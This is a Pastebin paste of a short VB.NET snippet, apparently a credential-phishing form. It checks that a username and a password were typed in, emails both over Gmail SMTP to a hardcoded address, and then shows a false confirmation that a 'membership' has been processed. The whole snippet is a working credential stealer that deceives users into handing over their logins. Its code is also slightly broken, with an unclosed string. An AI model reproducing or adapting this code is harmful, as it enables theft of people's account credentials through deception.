Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- If TextBox1.Text = "" Then MsgBox("Username is missing.")
- If Textbox2.text = "" Then
- Msgbox("Password is missing.") Else End If End if Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("franklin1998@live.dk", "INSERTGMAILPASSWORD) 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("franklin1998@live.dk") mail.To.Add("franklin1998@live.dk") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail) MsgBox("Membership has been succesfully proceeded, you'll recieve a mail within the next 24 hours.")
Add Comment
Please, Sign In to add comment